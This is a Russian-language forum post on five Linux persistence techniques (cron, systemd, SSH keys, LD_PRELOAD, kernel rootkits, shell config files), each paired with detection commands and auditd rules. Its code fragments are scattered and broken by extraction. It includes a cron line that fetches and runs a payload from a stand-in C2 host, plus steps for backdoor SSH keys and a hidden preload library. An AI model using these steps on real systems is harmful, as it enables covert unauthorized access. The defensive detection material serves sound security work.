![]() |
https://forum.antichat.xyz/attachmen...8c8af70bba.png
Вот ситуация: вы получили reverse shell на Linux-сервере через дырявый веб-сервис. Первая мысль - «отлично, я внутри». Вторая - «а завтра админ перезагрузит сервер, и я потеряю всё». Persistence - закрепление в системе - это то, что отличает случайное проникновение от полноценной операции (в руководстве Linux для пентестера этот этап разобран в контексте полного post-exploitation цикла). Ниже разберу пять техник закрепления в Linux, которые реально используются в Red Team engagement'ах, и для каждой сразу покажу, как её обнаружить. Без воды - конкретные команды, конкретные файлы и конкретные ловушки, в которые попадают и атакующие, и защитники. Что такое persistence и почему это критично для post-exploitation Persistence в терминах MITRE ATT&CK - набор тактик, позволяющих атакующему сохранять доступ к скомпрометированной системе после перезагрузки, смены паролей или даже частичной очистки. По сути, вы прячете «запасной вход» так, чтобы даже если основной канал обнаружат и закроют - вы могли вернуться. Linux-серверы - идеальная цель для закрепления. Перезагружаются редко, антивируса в привычном понимании почти нигде нет, а админы далеко не всегда мониторят все точки автозагрузки. Большинство материалов по теме перечисляют техники списком, но не объясняют логику выбора: когда cron, а когда systemd? Почему SSH-ключи надёжнее reverse shell в Код:
.bashrcКаждая техника привязана к конкретному MITRE ATT&CK ID - это не академическое украшение, а способ связать атакующую технику с правилами детекта в вашем SIEM. Linux cron backdoor: самый частый и самый шумный способ Cron (T1053.003 - Execution, Persistence, Privilege Escalation) - первое, за что хватается начинающий атакующий, и первое, что проверяет опытный защитник. Планировщик задач выполняет команды по расписанию - а значит, можно прописать загрузку payload'а каждые пять минут. Типичный сценарий: атакующий добавляет Код:
/5 * wget -O /tmp/.update.sh http://c2.example.com/payload && bash /tmp/.update.sh >/dev/null 2>&1Код:
>/dev/null 2>&1Где именно прячутся вредоносные cron-задачи Вот что нужно понимать: cron - это не один файл, это целое хозяйство. Новичок проверит Код:
crontab -lПерсональные crontab-файлы каждого пользователя лежат в Код:
/var/spool/cron/crontabs/Код:
/var/spool/cron/Код:
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; doneКод:
www-dataКод:
nobodyКод:
apacheСистемный Код:
/etc/crontabКод:
/etc/cron.d/Код:
/etc/cron.hourly/Код:
/etc/cron.daily/Код:
/etc/cron.weekly/Код:
/etc/cron.monthly/Код:
logrotate-helperКод:
php_cache_updateПо данным исследования dohost.us, атакующие часто маскируют payload'ы под системные задачи - файлы Код:
000anacronКод:
sysstat-collectОбнаружение cron-бэкдора на практике Первый шаг - тот самый цикл по всем пользователям. Второй - Код:
ls -la /etc/cron.*Код:
-aКод:
/var/log/cron.logКод:
grep CRON /var/log/syslogКод:
/var/log/cronКод:
curlКод:
wgetКод:
bashДля автоматизации - auditd с правилом на запись в Код:
/var/spool/cron/Код:
/etc/cron.d/Systemd persistence: вредоносный сервис под видом легитимного Systemd Service (T1543.002 - Persistence, Privilege Escalation) - более элегантный способ, чем cron. Systemd сам перезапустит «упавший» сервис, и в списке юнитов ваш бэкдор будет выглядеть как обычный демон. Атакующий создаёт unit-файл с директивами Код:
Restart=alwaysКод:
RestartSec=60Код:
ExecStartКод:
/etc/systemd/system/Код:
~/.config/systemd/user/Код:
systemctl enableКод:
systemctl startINI: Код:
[Unit]Код:
System Log AggregatorКод:
syslogd-helperКод:
persistence.serviceКод:
backdoor.serviceUser-level vs system-level: важная разница для атакующего Момент, на котором спотыкаются новички: user-mode сервисы через Код:
systemctl --userКод:
loginctl enable-lingerКод:
/etc/systemd/system/Ещё один хитрый приём (описан на temofeev.ru): вписать свой юнит в зависимости легитимного сервиса через Код:
Requires=Код:
OnFailure=Обнаружение вредоносных systemd-юнитов Код:
systemctl list-unit-files --state=enabledКод:
stat /etc/systemd/system/suspicious.serviceКод:
~/.config/systemd/user/Для мониторинга в реальном времени - auditd-правило на Код:
/etc/systemd/system/SSH-ключи как backdoor: тихо, надёжно, переживает смену пароля SSH Authorized Keys (T1098.004 - Persistence, Privilege Escalation) - мой любимый метод закрепления на реальных engagement'ах. Причина проста: это абсолютно легитимный механизм аутентификации. Никаких дополнительных процессов, никаких странных сервисов или cron-задач. Сценарий: атакующий генерирует пару ключей Код:
ssh-keygen -t ed25519 -f /tmp/backdoor_key -N ""Код:
~/.ssh/authorized_keysКод:
chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keysLateral movement через SSH (T1021.004) позволяет использовать закреплённый ключ для подключения к другим хостам, где тот же пользователь (например, Код:
deployКод:
ansibleПродвинутые трюки с SSH-ключами Добавление ключа в Код:
/root/.ssh/authorized_keysКод:
gitКод:
deployКод:
backupЕщё один приём - директива Код:
AuthorizedKeysFileКод:
/etc/ssh/sshd_configКод:
/etc/ssh/.auth_keysОбнаружение подброшенных ключей Код:
find / -name "authorized_keys" -exec ls -la {} \; 2>/dev/nullКод:
/etc/ssh/sshd_configКод:
AuthorizedKeysFileКод:
-w /root/.ssh/authorized_keys -p wa -k ssh_key_modificationLD_PRELOAD rootkit: перехват без модификации бинарей Dynamic Linker Hijacking (T1574.006 - Persistence, Privilege Escalation, Defense Evasion) - техника, которая позволяет подменять функции стандартных библиотек, не трогая сами бинари. Динамический линковщик Linux загружает библиотеки из Код:
LD_PRELOADКод:
/etc/ld.so.preloadКод:
read()На практике: атакующий пишет на C библиотеку, перехватывающую Код:
readdir()Код:
gcc -shared -fPIC -o /lib/.hidden.so hook.c -ldlКод:
/etc/ld.so.preloadКод:
lsКод:
findКод:
statПочему LD_PRELOAD не работает с SUID-бинарями Момент, который обязательно нужно проговорить: если бинарь имеет бит SUID или SGID, линковщик игнорирует Код:
LD_PRELOADКод:
sudoКод:
passwdКод:
pingКод:
/etc/ld.so.preloadОбнаружение LD_PRELOAD-хуков Проверка банальна, но работает: Код:
cat /etc/ld.so.preloadКод:
env | grep LD_PRELOADКод:
grep LD_PRELOAD /etc/environment /etc/profile /etc/bash.bashrc ~/.bashrcКод:
ldd /usr/bin/lsLinux rootkit: Diamorphine, Reptile и модификация syscall table Rootkit (T1014 - Defense Evasion) в связке с Kernel Modules and Extensions (T1547.006 - Persistence, Privilege Escalation) - высший уровень закрепления в Linux. Загружаемый модуль ядра (LKM) получает полный контроль над ОС: может скрывать процессы, файлы, сетевые соединения и даже других пользователей. Два наиболее известных open-source rootkit'а, исходники которых я разбирал сам, - Diamorphine и Reptile. Diamorphine работает через перехват системных вызовов: в старых версиях подменял указатели в syscall table (отключая WP-бит через cr0), а в современных (ядра 4.17+) использует ftrace-хуки. При вызове Код:
getdents64Код:
killКод:
kill -31Код:
kill -63Код:
kill -64Reptile использует аналогичный подход, но добавляет скрытый reverse shell, активируемый magic-пакетом - специальным сетевым пакетом с определённой сигнатурой, который не отображается в обычном трафике. Зверь посерьёзнее. Как обнаружить LKM rootkit Парадокс kernel-rootkit'а: он контролирует ядро, а значит, может обмануть любой инструмент из userspace. Тем не менее рабочие методы есть. Сравнение Код:
/proc/modulesКод:
/sys/module/Код:
lsmodКод:
/proc/modulesКод:
kill -63Код:
psrkhunter ( Код:
rkhunter --checkМодификация shell-конфигов: .bashrc и .bash_profile Unix Shell Configuration Modification (T1546.004 - Persistence, Privilege Escalation) - метод, который сам по себе не переживёт перезагрузку, но срабатывает каждый раз, когда пользователь открывает терминал или входит по SSH. Атакующий вставляет reverse shell в Код:
.bashrcКод:
.bash_profileТонкость, на которой спотыкаются даже опытные специалисты: Код:
.bash_profileКод:
su -lКод:
.bashrcКод:
.bash_profileКод:
.profileКод:
.bashrcКод:
.bashrcКод:
.bash_profileКод:
.profileКод:
.bashrcКод:
.bash_loginКод:
.bash_profileСистемные аналоги - Код:
/etc/profileКод:
/etc/bash.bashrcКод:
/etc/environmentПрактический чеклист: полный аудит persistence в Linux Собираем всё в одно место. Последовательность, которую я использую на каждом engagement'е при threat hunting: 🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей. Зарегистрироваться или Войти Bash: Код:
# 1. Cron - все пользователиДополнительно рекомендую auditd-правила на все критические пути: Код:
/var/spool/cron/Код:
/etc/systemd/system/Код:
/root/.ssh/Код:
/etc/ld.so.preloadКак выбрать технику закрепления под конкретный сценарий Техники закрепления в Linux не равнозначны. Выбор зависит от привилегий, задачи и допустимого уровня «шума». Обычный пользователь без root - работают user-cron, пользовательские systemd-юниты ( Код:
--userКод:
/etc/systemd/system/Код:
/etc/ld.so.preloadПо скрытности: SSH-ключи практически бесшумны. Cron - шумный, обнаруживается первым. Systemd - средний уровень. LD_PRELOAD - тихий, но палится проверкой одного файла. Rootkit - максимальная скрытность, но и максимальный риск уронить систему. По надёжности: systemd с Код:
Restart=alwaysКод:
/etc/modules-load.d/Код:
/etc/modulesВ реальных операциях я всегда комбинирую минимум два метода: основной канал (systemd или SSH-ключ) и резервный (cron или .bashrc). Если защитники находят один - второй остаётся. Вопрос к читателям В чеклисте выше я использую Код:
find / -name authorized_keysКод:
AuthorizedKeysFileКод:
/etc/ssh/.auth_storeКод:
AuthorizedKeysFileКод:
/etc/ssh/sshd_configКод:
-kКод:
sshd -t |
| Время: 19:10 |